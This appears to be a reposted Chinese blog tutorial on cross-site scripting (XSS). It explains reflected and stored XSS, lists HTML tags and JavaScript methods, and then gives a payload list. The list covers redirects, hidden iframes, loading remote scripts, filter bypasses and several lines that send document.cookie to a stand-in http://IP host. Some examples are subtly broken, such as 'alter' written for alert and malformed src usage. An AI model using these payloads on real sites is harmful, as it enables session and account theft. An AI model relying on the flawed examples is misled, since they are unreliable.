一、概念
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,也是web中最主流的攻击方式
是指恶意攻击者利用网站没有多用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中而盗取用户资料
二、XSS攻击的危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
三、常见的攻击类型
反射性
将恶意代码嵌入到链接中,诱惑用户点击,从而执行嵌入的代码,达到获取用户相关信息的目的
原理
例:
某些网站的检索:http://IP/detail.php?resarch=css
嵌入代码为:<script>alert(‘你被攻击了!!’)</script>
非正常检索:http://IP/detail.php?resarch=<script>alert(‘你被攻击了!!’)</script>
将此URL发送给用户,以其他诱惑性的文字引导点击,从而执行攻击代码
储存型
应用最为广泛,而且直接影响服务器的安全。
是将恶意代码通过页面存储服务器,当用户浏览该页面时攻击代码将自动执行,从而盗取用户的某些信息
危害性非常大
原理
例
在留言板中填写攻击代码:<script>alert(‘你被攻击了!!’)</script>
保存时会保存在服务器中,当用户浏览该页面时,代码会被自动执行
四、构造XSS脚本
常用的html标签
<iframe> 行内框架,创建包含另外一个稳定的内联框架
<textarea> 定义多行文本输入
<img> 网页嵌入图像
<script> 定义客户端脚本
常用JavaScript方法
alert 用于显示带有一条指定消息和一个确认按钮的警告框
window.location 获得当前页面的URL并把浏览器重定向新的页面
location.href 返回当前显示的文档的完整URL
onload 一张页面或图像完成加载
onsubmit 确认按钮被点击执行
onerror 在加载文档或图像时发生错误
构造XSS脚本
弹框警告
当服务器对特殊字符串<>/‘没有做过滤处理时,这个位置存在XSS漏洞
<script>alert(document.cookie)</script> 获得用户cookie
如果服务器对<>/‘进行了过滤处理,还可以使用实体字符进行尝试
> | > |
< | < |
" | " |
& | & |
‘ | ' |
页面嵌套
<iframe src="http://www.baidu.com" width="0" height="0"></iframe> 将嵌套的页面设置最小,用户不容易发现
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹窗警告并且重定向
<script>alert("请访问最新域名");location.href="http://IP/xxx/xxx.text"</script>
当访问该链接时执行恶意代码
访问恶意代码
<script>src="http://IP/xss.js"</script>
通常hacker会自己搭建一个服务器,访问时执行xss.js
使用图片标签
<img src="http://IP/xss.js"></img>
绕开过滤的脚本
<ScRiPt>alter(‘xss‘)</SCripT> 绕开大小写的限制
<a href="d3d3LmJhaWR1LmNvbQ==">最新域名</a> 使用字符编码绕开部分限制
获取用户cookie
<script>window.open("http://IP/xxx.php?cookie="+document.cookie)</script>
<script>document.location="http://IP/xxx.php?cookie="+document.cookie</script>
<script>new Image().src="http://IP/xxx.php?cookie="+document.cookie</script>
<img src="‘http://IP/xxx.php?cookie=‘+document.cookie"></img>
<iframe src="‘http://IP/xxx.php?cookie=‘+document.cookie"></iframe>
原文地址:https://www.cnblogs.com/tynam/p/10122150.html